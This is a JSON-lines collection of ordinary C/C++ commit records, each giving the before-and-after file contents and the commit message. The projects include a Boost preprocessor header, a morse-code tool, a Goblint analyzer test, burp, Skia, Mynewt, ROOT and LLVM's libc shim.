{"commit":"90ed0ea74eee58e37da5efe1ad61dc3d70fee0f8","old_file":"ExtendTypedef\/BuildSignature.h","new_file":"ExtendTypedef\/BuildSignature.h","old_contents":"","new_contents":"\n\/\/use a different header for this section as it needs\n\/\/the boost pre-processor\n\n\/\/next step is to convert the boost mpl types back to a worklet\n\/\/signature. To get this to work with all functor we need to use\n\/\/boost pre-processor\n#if !BOOST_PP_IS_ITERATING\n# ifndef __buildSignature_\n# define __buildSignature_\n\n#  include <boost\/mpl\/at.hpp>\n#  include <boost\/preprocessor\/iteration\/iterate.hpp>\n#  include <boost\/preprocessor\/repetition\/enum_shifted_params.hpp>\n#  include <boost\/preprocessor\/repetition\/enum_shifted.hpp>\n\n#  define _arg_enum___(x)      BOOST_PP_ENUM_SHIFTED(BOOST_PP_ITERATION(), _arg_enum_, x)\n#  define _arg_enum_(z,n,x)    x(n)\n#  define _MPL_ARG_(n) typename boost::mpl::at_c<T,n>::type\n\nnamespace detail\n  {\n  template<int N, typename T> struct BuildSig;\n\n# define BOOST_PP_ITERATION_PARAMS_1 (3, (1, 11, \"BuildSignature.h\"))\n# include BOOST_PP_ITERATE()\n  }\n\ntemplate<typename T>\nstruct BuildSignature\n{\n  typedef boost::mpl::size<T> Size;\n\n  typedef typename ::detail::BuildSig<Size::value,T>::type type;\n};\n\n# endif\n\n#else\n  template<typename T> struct BuildSig<BOOST_PP_ITERATION(), T>\n  {\n    typedef typename boost::mpl::at_c<T,0>::type type(_arg_enum___(_MPL_ARG_));\n\n\n  };\n#endif\n","subject":"Add code to build arbitrary length function signature from mpl.","message":"Add code to build arbitrary length function signature from mpl.\n","lang":"C","license":"bsd-2-clause","repos":"robertmaynard\/Sandbox,robertmaynard\/Sandbox,robertmaynard\/Sandbox,robertmaynard\/Sandbox"}
{"commit":"4390c6c6c9de3934e1bf05cb7132f3ae908a4c35","old_file":"src\/main.c","new_file":"src\/main.c","old_contents":"\/\/ Copyright 2016 Mitchell Kember. Subject to the MIT License.\n\n#include \"translate.h\"\n#include \"transmit.h\"\n#include \"util.h\"\n\n#include <stdio.h>\n#include <unistd.h>\n\nint main(int argc, char **argv) {\n\tsetup_util(argv[0]);\n\n\t\/\/ Initialize the default mode.\n\tint mode = 'e';\n\n\t\/\/ Get command line options.\n\tint c;\n\textern char *optarg;\n\textern int optind, optopt;\n\twhile ((c = getopt(argc, argv, \"hedt\")) != -1) {\n\t\tswitch (c) {\n\t\tcase 'h':\n\t\t\tprint_usage(stdout);\n\t\t\treturn 0;\n\t\tcase 'e':\n\t\tcase 'd':\n\t\tcase 't':\n\t\t\tmode = c;\n\t\t\tbreak;\n\t\tcase '?':\n\t\t\treturn 1;\n\t\t}\n\t}\n\t\/\/ Make sure all arguments were processed.\n\tif (optind != argc) {\n\t\tprint_usage(stderr);\n\t\treturn 1;\n\t}\n\n\t\/\/ Dispatch to the chosen subprogram.\n\tswitch (mode) {\n\tcase 'e':\n\t\treturn encode();\n\tcase 'd':\n\t\treturn decode();\n\tcase 't':\n\t\treturn transmit();\n\t}\n}\n","new_contents":"\/\/ Copyright 2016 Mitchell Kember. Subject to the MIT License.\n\n#include \"translate.h\"\n#include \"transmit.h\"\n#include \"util.h\"\n\n#include <stdio.h>\n#include <unistd.h>\n\nint main(int argc, char **argv) {\n\tsetup_util(argv[0]);\n\n\t\/\/ Initialize the default mode.\n\tint mode = 'e';\n\n\t\/\/ Get command line options.\n\tint c;\n\textern char *optarg;\n\textern int optind, optopt;\n\twhile ((c = getopt(argc, argv, \"hedt\")) != -1) {\n\t\tswitch (c) {\n\t\tcase 'h':\n\t\t\tprint_usage(stdout);\n\t\t\treturn 0;\n\t\tcase 'e':\n\t\tcase 'd':\n\t\tcase 't':\n\t\t\tmode = c;\n\t\t\tbreak;\n\t\tcase '?':\n\t\t\tprint_usage(stderr);\n\t\t\treturn 1;\n\t\t}\n\t}\n\t\/\/ Make sure all arguments were processed.\n\tif (optind != argc) {\n\t\tprint_usage(stderr);\n\t\treturn 1;\n\t}\n\n\t\/\/ Dispatch to the chosen subprogram.\n\tswitch (mode) {\n\tcase 'e':\n\t\treturn encode();\n\tcase 'd':\n\t\treturn decode();\n\tcase 't':\n\t\treturn transmit();\n\t}\n}\n","subject":"Print usage message on getopt error","message":"Print usage message on getopt error\n","lang":"C","license":"mit","repos":"mk12\/morse"}
{"commit":"2cc15c99daced80a3d85e0cbd7f7a0d015b18b54","old_file":"tests\/regression\/34-congruence\/03-branching.c","new_file":"tests\/regression\/34-congruence\/03-branching.c","old_contents":"","new_contents":"\/\/ PARAM: --sets solver td3 --enable ana.int.congruence --disable ana.int.def_exc\nint main(){\n    \/\/ A refinement of a congruence class should only take place for the == and != operator.\n    int i;\n    if (i==0){\n      assert(i==0);\n    } else {\n      assert(i!=0); \/\/UNKNOWN!\n    }\n\n    int j;\n    if (j != 0){\n      assert (j != 0); \/\/UNKNOWN!\n    } else {\n      assert (j == 0);\n    }\n\n    int k;\n    if (k > 0) {\n      assert (k == 0); \/\/UNKNOWN!\n    } else {\n      assert (k != 0); \/\/UNKNOWN!\n    }\n\n    return 0;\n}","subject":"Add branching test for congruence domain","message":"Add branching test for congruence domain\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"92ccc1fa3f8ac72673dd56e3d691103c0a6ec871","old_file":"src\/lock.h","new_file":"src\/lock.h","old_contents":"#ifndef LOCK_H\n#define LOCK_H\n\nenum lockstat\n{\n\tGET_LOCK_NOT_GOT=0,\n\tGET_LOCK_ERROR,\n\tGET_LOCK_GOT\n};\n\ntypedef struct lock lock_t;\n\nstruct lock\n{\n\tint fd;\n\tenum lockstat status;\n\tchar *path;\n\tlock_t *next;\n};\n\nextern struct lock *lock_alloc(void);\nextern int lock_init(struct lock *lock, const char *path);\nextern struct lock *lock_alloc_and_init(const char *path);\nextern void lock_free(struct lock **lock);\n\n\/\/ Need to test lock->status to find out what happened when calling these.\nextern void lock_get_quick(struct lock *lock);\nextern void lock_get(struct lock *lock);\n\nextern int lock_test(const char *path);\nextern int lock_release(struct lock *lock);\n\nextern void lock_add_to_list(struct lock **locklist, struct lock *lock);\nextern void locks_release_and_free(struct lock **locklist);\n\n#endif\n","new_contents":"#ifndef LOCK_H\n#define LOCK_H\n\nenum lockstat\n{\n\tGET_LOCK_NOT_GOT=0,\n\tGET_LOCK_ERROR,\n\tGET_LOCK_GOT\n};\n\nstruct lock\n{\n\tint fd;\n\tenum lockstat status;\n\tchar *path;\n\tstruct lock *next;\n};\n\nextern struct lock *lock_alloc(void);\nextern int lock_init(struct lock *lock, const char *path);\nextern struct lock *lock_alloc_and_init(const char *path);\nextern void lock_free(struct lock **lock);\n\n\/\/ Need to test lock->status to find out what happened when calling these.\nextern void lock_get_quick(struct lock *lock);\nextern void lock_get(struct lock *lock);\n\nextern int lock_test(const char *path);\nextern int lock_release(struct lock *lock);\n\nextern void lock_add_to_list(struct lock **locklist, struct lock *lock);\nextern void locks_release_and_free(struct lock **locklist);\n\n#endif\n","subject":"Fix a build issue on Solaris","message":"Fix a build issue on Solaris\n","lang":"C","license":"agpl-3.0","repos":"rubenk\/burp,rubenk\/burp,rubenk\/burp"}
{"commit":"7b0b2ca43517ef59aa78c3ad4ce2c49df9bffaff","old_file":"include\/private\/SkSpinlock.h","new_file":"include\/private\/SkSpinlock.h","old_contents":"\/*\n * Copyright 2015 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#ifndef SkSpinlock_DEFINED\n#define SkSpinlock_DEFINED\n\n#include <atomic>\n\nclass SkSpinlock {\npublic:\n    void acquire() {\n        \/\/ To act as a mutex, we need an acquire barrier when we acquire the lock.\n        if (fLocked.exchange(true, std::memory_order_acquire)) {\n            \/\/ Lock was contended.  Fall back to an out-of-line spin loop.\n            this->contendedAcquire();\n        }\n    }\n\n    void release() {\n        \/\/ To act as a mutex, we need a release barrier when we release the lock.\n        fLocked.store(false, std::memory_order_release);\n    }\n\nprivate:\n    void contendedAcquire();\n\n    std::atomic<bool> fLocked{false};\n};\n\n#endif\/\/SkSpinlock_DEFINED\n","new_contents":"\/*\n * Copyright 2015 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#ifndef SkSpinlock_DEFINED\n#define SkSpinlock_DEFINED\n\n#include \"SkTypes.h\"\n#include <atomic>\n\nclass SkSpinlock {\npublic:\n    void acquire() {\n        \/\/ To act as a mutex, we need an acquire barrier when we acquire the lock.\n        if (fLocked.exchange(true, std::memory_order_acquire)) {\n            \/\/ Lock was contended.  Fall back to an out-of-line spin loop.\n            this->contendedAcquire();\n        }\n    }\n\n    void release() {\n        \/\/ To act as a mutex, we need a release barrier when we release the lock.\n        fLocked.store(false, std::memory_order_release);\n    }\n\nprivate:\n    SK_API void contendedAcquire();\n\n    std::atomic<bool> fLocked{false};\n};\n\n#endif\/\/SkSpinlock_DEFINED\n","subject":"Make Cmake work with debug build","message":"Make Cmake work with debug build\n\nBefore this CL, the following failed to link:\n\n    cd ...\/skia\n    git fetch\n    git checkout origin\/master\n    git clean -ffdx\n    SKIA=\"$PWD\"\n    cd $(mktemp -d);\n    cmake \"${SKIA}\/cmake\" -DCMAKE_BUILD_TYPE=Debug -G Ninja\n    ninja\nGOLD_TRYBOT_URL= https:\/\/gold.skia.org\/search2?unt=true&query=source_type%3Dgm&master=false&issue=1757993006\n\nReview URL: https:\/\/codereview.chromium.org\/1757993006\n","lang":"C","license":"bsd-3-clause","repos":"HalCanary\/skia-hc,google\/skia,qrealka\/skia-hc,Hikari-no-Tenshi\/android_external_skia,HalCanary\/skia-hc,google\/skia,google\/skia,tmpvar\/skia.cc,qrealka\/skia-hc,Hikari-no-Tenshi\/android_external_skia,rubenvb\/skia,tmpvar\/skia.cc,qrealka\/skia-hc,Hikari-no-Tenshi\/android_external_skia,rubenvb\/skia,aosp-mirror\/platform_external_skia,tmpvar\/skia.cc,google\/skia,rubenvb\/skia,aosp-mirror\/platform_external_skia,google\/skia,HalCanary\/skia-hc,rubenvb\/skia,Hikari-no-Tenshi\/android_external_skia,rubenvb\/skia,tmpvar\/skia.cc,tmpvar\/skia.cc,qrealka\/skia-hc,rubenvb\/skia,tmpvar\/skia.cc,aosp-mirror\/platform_external_skia,HalCanary\/skia-hc,aosp-mirror\/platform_external_skia,qrealka\/skia-hc,tmpvar\/skia.cc,Hikari-no-Tenshi\/android_external_skia,aosp-mirror\/platform_external_skia,rubenvb\/skia,aosp-mirror\/platform_external_skia,HalCanary\/skia-hc,HalCanary\/skia-hc,aosp-mirror\/platform_external_skia,google\/skia,aosp-mirror\/platform_external_skia,Hikari-no-Tenshi\/android_external_skia,Hikari-no-Tenshi\/android_external_skia,rubenvb\/skia,HalCanary\/skia-hc,qrealka\/skia-hc,google\/skia,google\/skia,google\/skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,HalCanary\/skia-hc,tmpvar\/skia.cc,tmpvar\/skia.cc,rubenvb\/skia,google\/skia,qrealka\/skia-hc,Hikari-no-Tenshi\/android_external_skia,rubenvb\/skia,HalCanary\/skia-hc,HalCanary\/skia-hc,qrealka\/skia-hc"}
{"commit":"9b4050f924a3ac59e1a390fff1ca94690c7b648c","old_file":"hw\/mcu\/nordic\/nrf52xxx-compat\/include\/nrfx_config.h","new_file":"hw\/mcu\/nordic\/nrf52xxx-compat\/include\/nrfx_config.h","old_contents":"\/*\n * Licensed to the Apache Software Foundation (ASF) under one\n * or more contributor license agreements.  See the NOTICE file\n * distributed with this work for additional information\n * regarding copyright ownership.  The ASF licenses this file\n * to you under the Apache License, Version 2.0 (the\n * \"License\"); you may not use this file except in compliance\n * with the License.  You may obtain a copy of the License at\n *\n *  http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n * KIND, either express or implied.  See the License for the\n * specific language governing permissions and limitations\n * under the License.\n *\/\n\n#ifndef NRFX_CONFIG_H__\n#define NRFX_CONFIG_H__\n\n#if NRF52\n#include \"..\/..\/nrf52xxx-compat\/include\/nrfx52_config.h\"\n#elif NRF52840_XXAA\n#include \"..\/..\/nrf52xxx-compat\/include\/nrfx52840_config.h\"\n#else\n#error Unsupported chip selected\n#endif\n\n#endif \/\/ NRFX_CONFIG_H__\n","new_contents":"\/*\n * Licensed to the Apache Software Foundation (ASF) under one\n * or more contributor license agreements.  See the NOTICE file\n * distributed with this work for additional information\n * regarding copyright ownership.  The ASF licenses this file\n * to you under the Apache License, Version 2.0 (the\n * \"License\"); you may not use this file except in compliance\n * with the License.  You may obtain a copy of the License at\n *\n *  http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n * KIND, either express or implied.  See the License for the\n * specific language governing permissions and limitations\n * under the License.\n *\/\n\n#ifndef NRFX_CONFIG_H__\n#define NRFX_CONFIG_H__\n\n#if NRF52\n#include \"nrfx52_config.h\"\n#elif NRF52840_XXAA\n#include \"nrfx52840_config.h\"\n#else\n#error Unsupported chip selected\n#endif\n\n#endif \/\/ NRFX_CONFIG_H__\n","subject":"Fix weird includes in compat package","message":"hw\/mcu\/nordic: Fix weird includes in compat package\n","lang":"C","license":"apache-2.0","repos":"mlaz\/mynewt-core,mlaz\/mynewt-core,mlaz\/mynewt-core,mlaz\/mynewt-core,mlaz\/mynewt-core"}
{"commit":"3c701bdbd8c761b885c8f7332b034ab6c6b6daab","old_file":"core\/metautils\/src\/vectorLinkdef.h","new_file":"core\/metautils\/src\/vectorLinkdef.h","old_contents":"#include <string>\n#include <vector>\n#ifndef __hpux\nusing namespace std;\n#endif\n\n#pragma create TClass vector<bool>;\n#pragma create TClass vector<char>;\n#pragma create TClass vector<short>;\n#pragma create TClass vector<long>;\n#pragma create TClass vector<unsigned char>;\n#pragma create TClass vector<unsigned short>;\n#pragma create TClass vector<unsigned int>;\n#pragma create TClass vector<unsigned long>;\n#pragma create TClass vector<float>;\n#pragma create TClass vector<double>;\n#pragma create TClass vector<char*>;\n#pragma create TClass vector<const char*>;\n#pragma create TClass vector<string>;\n\n#if (!(G__GNUC==3 && G__GNUC_MINOR==1)) && !defined(G__KCC) && (!defined(G__VISUAL) || G__MSC_VER<1300)\n\/\/ gcc3.1,3.2 has a problem with iterator<void*,...,void&>\n#pragma create TClass vector<void*>;\n#endif\n","new_contents":"#include <string>\n#include <vector>\n#ifndef __hpux\nusing namespace std;\n#endif\n\n#pragma create TClass vector<bool>;\n#pragma create TClass vector<char>;\n#pragma create TClass vector<short>;\n#pragma create TClass vector<long>;\n#pragma create TClass vector<unsigned char>;\n#pragma create TClass vector<unsigned short>;\n#pragma create TClass vector<unsigned int>;\n#pragma create TClass vector<unsigned long>;\n#pragma create TClass vector<float>;\n#pragma create TClass vector<double>;\n#pragma create TClass vector<char*>;\n#pragma create TClass vector<const char*>;\n#pragma create TClass vector<string>;\n#pragma create TClass vector<Long64_t>;\n#pragma create TClass vector<ULong64_t>;\n\n#if (!(G__GNUC==3 && G__GNUC_MINOR==1)) && !defined(G__KCC) && (!defined(G__VISUAL) || G__MSC_VER<1300)\n\/\/ gcc3.1,3.2 has a problem with iterator<void*,...,void&>\n#pragma create TClass vector<void*>;\n#endif\n","subject":"Add missing TClass creation for vector<Long64_t> and vector<ULong64_t>","message":"Add missing TClass creation for vector<Long64_t> and vector<ULong64_t>\n\n\ngit-svn-id: acec3fd5b7ea1eb9e79d6329d318e8118ee2e14f@38659 27541ba8-7e3a-0410-8455-c3a389f83636\n","lang":"C","license":"lgpl-2.1","repos":"thomaskeck\/root,Duraznos\/root,beniz\/root,perovic\/root,perovic\/root,Y--\/root,agarciamontoro\/root,georgtroska\/root,sawenzel\/root,gganis\/root,nilqed\/root,buuck\/root,buuck\/root,simonpf\/root,nilqed\/root,davidlt\/root,omazapa\/root,0x0all\/ROOT,perovic\/root,veprbl\/root,esakellari\/my_root_for_test,lgiommi\/root,dfunke\/root,ffurano\/root5,ffurano\/root5,BerserkerTroll\/root,BerserkerTroll\/root,mattkretz\/root,tc3t\/qoot,abhinavmoudgil95\/root,esakellari\/my_root_for_test,esakellari\/my_root_for_test,gganis\/root,davidlt\/root,0x0all\/ROOT,olifre\/root,gganis\/root,evgeny-boger\/root,krafczyk\/root,bbockelm\/root,zzxuanyuan\/root-compressor-dummy,davidlt\/root,Y--\/root,BerserkerTroll\/root,cxx-hep\/root-cern,lgiommi\/root,omazapa\/root-old,arch1tect0r\/root,CristinaCristescu\/root,smarinac\/root,evgeny-boger\/root,esakellari\/root,gbitzes\/root,gganis\/root,beniz\/root,kirbyherm\/root-r-tools,beniz\/root,thomaskeck\/root,nilqed\/root,omazapa\/root-old,jrtomps\/root,beniz\/root,evgeny-boger\/root,arch1tect0r\/root,gbitzes\/root,sirinath\/root,perovic\/root,buuck\/root,davidlt\/root,tc3t\/qoot,zzxuanyuan\/root,perovic\/root,esakellari\/root,mattkretz\/root,lgiommi\/root,agarciamontoro\/root,gbitzes\/root,karies\/root,vukasinmilosevic\/root,dfunke\/root,simonpf\/root,BerserkerTroll\/root,zzxuanyuan\/root-compressor-dummy,olifre\/root,abhinavmoudgil95\/root,pspe\/root,BerserkerTroll\/root,mhuwiler\/rootauto,bbockelm\/root,mhuwiler\/rootauto,mkret2\/root,Dr15Jones\/root,nilqed\/root,Y--\/root,tc3t\/qoot,dfunke\/root,evgeny-boger\/root,veprbl\/root,mkret2\/root,CristinaCristescu\/root,veprbl\/root,kirbyherm\/root-r-tools,evgeny-boger\/root,veprbl\/root,zzxuanyuan\/root,mhuwiler\/rootauto,buuck\/root,karies\/root,georgtroska\/root,omazapa\/root-old,Y--\/root,0x0all\/ROOT,satyarth934\/root,simonpf\/root,zzxuanyuan\/root-compressor-dummy,arch1tect0r\/root,agarciamontoro\/root,jrtomps\/root,simonpf\/root,Dr15Jones\/root,thomaskeck\/root,zzxuanyuan\/root,sbinet\/cxx-root,esakellari\/root,gbitzes\/root,veprbl\/root,Y--\/root,tc3t\/qoot,zzxuanyuan\/root,satyarth934\/root,perovic\/root,mattkretz\/root,olifre\/root,pspe\/root,CristinaCristescu\/root,satyarth934\/root,CristinaCristescu\/root,zzxuanyuan\/root,ffurano\/root5,esakellari\/root,pspe\/root,jrtomps\/root,mkret2\/root,satyarth934\/root,bbockelm\/root,strykejern\/TTreeReader,esakellari\/root,Dr15Jones\/root,veprbl\/root,cxx-hep\/root-cern,0x0all\/ROOT,sawenzel\/root,beniz\/root,zzxuanyuan\/root,zzxuanyuan\/root-compressor-dummy,karies\/root,beniz\/root,zzxuanyuan\/root,sawenzel\/root,Y--\/root,sawenzel\/root,zzxuanyuan\/root-compressor-dummy,Dr15Jones\/root,nilqed\/root,simonpf\/root,esakellari\/root,satyarth934\/root,georgtroska\/root,perovic\/root,lgiommi\/root,abhinavmoudgil95\/root,karies\/root,esakellari\/my_root_for_test,satyarth934\/root,mkret2\/root,root-mirror\/root,sbinet\/cxx-root,agarciamontoro\/root,sirinath\/root,zzxuanyuan\/root-compressor-dummy,0x0all\/ROOT,buuck\/root,ffurano\/root5,mattkretz\/root,root-mirror\/root,lgiommi\/root,vukasinmilosevic\/root,thomaskeck\/root,olifre\/root,bbockelm\/root,kirbyherm\/root-r-tools,alexschlueter\/cern-root,Y--\/root,vukasinmilosevic\/root,root-mirror\/root,veprbl\/root,esakellari\/my_root_for_test,abhinavmoudgil95\/root,sawenzel\/root,esakellari\/root,georgtroska\/root,Y--\/root,esakellari\/root,jrtomps\/root,sirinath\/root,abhinavmoudgil95\/root,buuck\/root,gbitzes\/root,omazapa\/root,nilqed\/root,mkret2\/root,georgtroska\/root,sawenzel\/root,karies\/root,nilqed\/root,evgeny-boger\/root,BerserkerTroll\/root,nilqed\/root,nilqed\/root,buuck\/root,strykejern\/TTreeReader,cxx-hep\/root-cern,olifre\/root,sbinet\/cxx-root,mattkretz\/root,root-mirror\/root,sirinath\/root,tc3t\/qoot,strykejern\/TTreeReader,Duraznos\/root,pspe\/root,jrtomps\/root,davidlt\/root,simonpf\/root,sbinet\/cxx-root,mattkretz\/root,gganis\/root,lgiommi\/root,dfunke\/root,satyarth934\/root,esakellari\/my_root_for_test,satyarth934\/root,BerserkerTroll\/root,olifre\/root,simonpf\/root,omazapa\/root,arch1tect0r\/root,CristinaCristescu\/root,Duraznos\/root,karies\/root,Dr15Jones\/root,CristinaCristescu\/root,zzxuanyuan\/root-compressor-dummy,pspe\/root,mhuwiler\/rootauto,karies\/root,strykejern\/TTreeReader,zzxuanyuan\/root-compressor-dummy,root-mirror\/root,strykejern\/TTreeReader,jrtomps\/root,alexschlueter\/cern-root,satyarth934\/root,karies\/root,zzxuanyuan\/root,krafczyk\/root,root-mirror\/root,evgeny-boger\/root,perovic\/root,Y--\/root,kirbyherm\/root-r-tools,gbitzes\/root,gbitzes\/root,satyarth934\/root,krafczyk\/root,bbockelm\/root,bbockelm\/root,CristinaCristescu\/root,nilqed\/root,Duraznos\/root,thomaskeck\/root,smarinac\/root,kirbyherm\/root-r-tools,karies\/root,georgtroska\/root,lgiommi\/root,ffurano\/root5,pspe\/root,Y--\/root,omazapa\/root,smarinac\/root,sbinet\/cxx-root,gbitzes\/root,jrtomps\/root,dfunke\/root,mattkretz\/root,tc3t\/qoot,abhinavmoudgil95\/root,zzxuanyuan\/root,pspe\/root,sirinath\/root,sirinath\/root,mhuwiler\/rootauto,sawenzel\/root,omazapa\/root-old,dfunke\/root,abhinavmoudgil95\/root,zzxuanyuan\/root-compressor-dummy,krafczyk\/root,ffurano\/root5,zzxuanyuan\/root,strykejern\/TTreeReader,Duraznos\/root,krafczyk\/root,omazapa\/root-old,alexschlueter\/cern-root,georgtroska\/root,CristinaCristescu\/root,thomaskeck\/root,vukasinmilosevic\/root,sirinath\/root,0x0all\/ROOT,omazapa\/root,tc3t\/qoot,agarciamontoro\/root,evgeny-boger\/root,simonpf\/root,davidlt\/root,strykejern\/TTreeReader,gganis\/root,smarinac\/root,root-mirror\/root,omazapa\/root-old,0x0all\/ROOT,mhuwiler\/rootauto,cxx-hep\/root-cern,davidlt\/root,dfunke\/root,abhinavmoudgil95\/root,alexschlueter\/cern-root,omazapa\/root,buuck\/root,dfunke\/root,mhuwiler\/rootauto,esakellari\/root,beniz\/root,thomaskeck\/root,CristinaCristescu\/root,sbinet\/cxx-root,dfunke\/root,alexschlueter\/cern-root,Duraznos\/root,smarinac\/root,gganis\/root,gganis\/root,mkret2\/root,root-mirror\/root,satyarth934\/root,karies\/root,Duraznos\/root,zzxuanyuan\/root-compressor-dummy,ffurano\/root5,esakellari\/my_root_for_test,cxx-hep\/root-cern,omazapa\/root-old,agarciamontoro\/root,sbinet\/cxx-root,mkret2\/root,gganis\/root,sirinath\/root,sirinath\/root,Dr15Jones\/root,0x0all\/ROOT,perovic\/root,jrtomps\/root,vukasinmilosevic\/root,olifre\/root,olifre\/root,mhuwiler\/rootauto,BerserkerTroll\/root,thomaskeck\/root,alexschlueter\/cern-root,root-mirror\/root,thomaskeck\/root,krafczyk\/root,olifre\/root,sbinet\/cxx-root,tc3t\/qoot,omazapa\/root-old,agarciamontoro\/root,perovic\/root,omazapa\/root,omazapa\/root-old,arch1tect0r\/root,gbitzes\/root,sbinet\/cxx-root,arch1tect0r\/root,kirbyherm\/root-r-tools,davidlt\/root,smarinac\/root,krafczyk\/root,beniz\/root,agarciamontoro\/root,agarciamontoro\/root,esakellari\/my_root_for_test,omazapa\/root-old,cxx-hep\/root-cern,simonpf\/root,gbitzes\/root,davidlt\/root,simonpf\/root,Duraznos\/root,lgiommi\/root,omazapa\/root,smarinac\/root,pspe\/root,pspe\/root,georgtroska\/root,veprbl\/root,alexschlueter\/cern-root,sawenzel\/root,smarinac\/root,bbockelm\/root,Duraznos\/root,veprbl\/root,zzxuanyuan\/root-compressor-dummy,esakellari\/my_root_for_test,georgtroska\/root,vukasinmilosevic\/root,sbinet\/cxx-root,root-mirror\/root,mhuwiler\/rootauto,omazapa\/root,gbitzes\/root,vukasinmilosevic\/root,agarciamontoro\/root,arch1tect0r\/root,mattkretz\/root,beniz\/root,mhuwiler\/rootauto,mhuwiler\/rootauto,lgiommi\/root,buuck\/root,Duraznos\/root,georgtroska\/root,CristinaCristescu\/root,BerserkerTroll\/root,bbockelm\/root,sawenzel\/root,dfunke\/root,Dr15Jones\/root,veprbl\/root,root-mirror\/root,arch1tect0r\/root,nilqed\/root,sbinet\/cxx-root,CristinaCristescu\/root,krafczyk\/root,lgiommi\/root,BerserkerTroll\/root,jrtomps\/root,beniz\/root,omazapa\/root,arch1tect0r\/root,perovic\/root,mkret2\/root,mattkretz\/root,davidlt\/root,vukasinmilosevic\/root,beniz\/root,olifre\/root,omazapa\/root,esakellari\/root,pspe\/root,krafczyk\/root,vukasinmilosevic\/root,vukasinmilosevic\/root,tc3t\/qoot,thomaskeck\/root,jrtomps\/root,bbockelm\/root,smarinac\/root,agarciamontoro\/root,evgeny-boger\/root,abhinavmoudgil95\/root,cxx-hep\/root-cern,davidlt\/root,zzxuanyuan\/root,sirinath\/root,sawenzel\/root,mattkretz\/root,0x0all\/ROOT,mattkretz\/root,bbockelm\/root,lgiommi\/root,esakellari\/root,Duraznos\/root,esakellari\/my_root_for_test,krafczyk\/root,simonpf\/root,zzxuanyuan\/root,vukasinmilosevic\/root,georgtroska\/root,arch1tect0r\/root,bbockelm\/root,BerserkerTroll\/root,gganis\/root,omazapa\/root-old,karies\/root,sirinath\/root,evgeny-boger\/root,sawenzel\/root,smarinac\/root,Y--\/root,dfunke\/root,krafczyk\/root,arch1tect0r\/root,jrtomps\/root,buuck\/root,olifre\/root,abhinavmoudgil95\/root,tc3t\/qoot,evgeny-boger\/root,kirbyherm\/root-r-tools,abhinavmoudgil95\/root,pspe\/root,mkret2\/root,cxx-hep\/root-cern,mkret2\/root,veprbl\/root,buuck\/root,gganis\/root,mkret2\/root"}
{"commit":"b49fa616d47a39193c59d610964276ddb1df732a","old_file":"runtime\/GCCLibraries\/libc\/memory.c","new_file":"runtime\/GCCLibraries\/libc\/memory.c","old_contents":"\/\/===-- memory.c - String functions for the LLVM libc Library ----*- C -*-===\/\/\n\/\/ \n\/\/ A lot of this code is ripped gratuitously from glibc and libiberty.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include <stdlib.h>\n\nvoid *malloc(size_t) __attribute__((weak));\nvoid free(void *) __attribute__((weak));\nvoid *memset(void *, int, size_t) __attribute__((weak));\nvoid *calloc(size_t nelem, size_t elsize) __attribute__((weak));\n\nvoid *calloc(size_t nelem, size_t elsize) {\n  void *Result = malloc(nelem*elsize);\n  return memset(Result, 0, nelem*elsize);\n}\n","new_contents":"\/\/===-- memory.c - String functions for the LLVM libc Library ----*- C -*-===\/\/\n\/\/ \n\/\/ A lot of this code is ripped gratuitously from glibc and libiberty.\n\/\/\n\/\/===---------------------------------------------------------------------===\/\/\n\n#include <stdlib.h>\n\n\/\/ If we're not being compiled with GCC, turn off attributes. Question is how\n\/\/ to handle overriding of memory allocation functions in that case.\n#ifndef __GNUC__\n#define __attribute__(X)\n#endif\n    \n\/\/ For now, turn off the weak linkage attribute on Mac OS X.\n#if defined(__GNUC__) && defined(__APPLE_CC__)\n#define __ATTRIBUTE_WEAK__\n#elif defined(__GNUC__)\n#define __ATTRIBUTE_WEAK__ __attribute__((weak))\n#else\n#define __ATTRIBUTE_WEAK__\n#endif\n\nvoid *malloc(size_t) __ATTRIBUTE_WEAK__;\nvoid free(void *) __ATTRIBUTE_WEAK__;\nvoid *memset(void *, int, size_t) __ATTRIBUTE_WEAK__;\nvoid *calloc(size_t nelem, size_t elsize) __ATTRIBUTE_WEAK__;\n\nvoid *calloc(size_t nelem, size_t elsize) {\n  void *Result = malloc(nelem*elsize);\n  return memset(Result, 0, nelem*elsize);\n}\n","subject":"Disable __attribute__((weak)) on Mac OS X and other lame platforms.","message":"Disable __attribute__((weak)) on Mac OS X and other lame platforms.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@10489 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"bsd-2-clause","repos":"dslab-epfl\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,apple\/swift-llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,apple\/swift-llvm,apple\/swift-llvm,llvm-mirror\/llvm,apple\/swift-llvm,dslab-epfl\/asap,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,apple\/swift-llvm,llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm"}
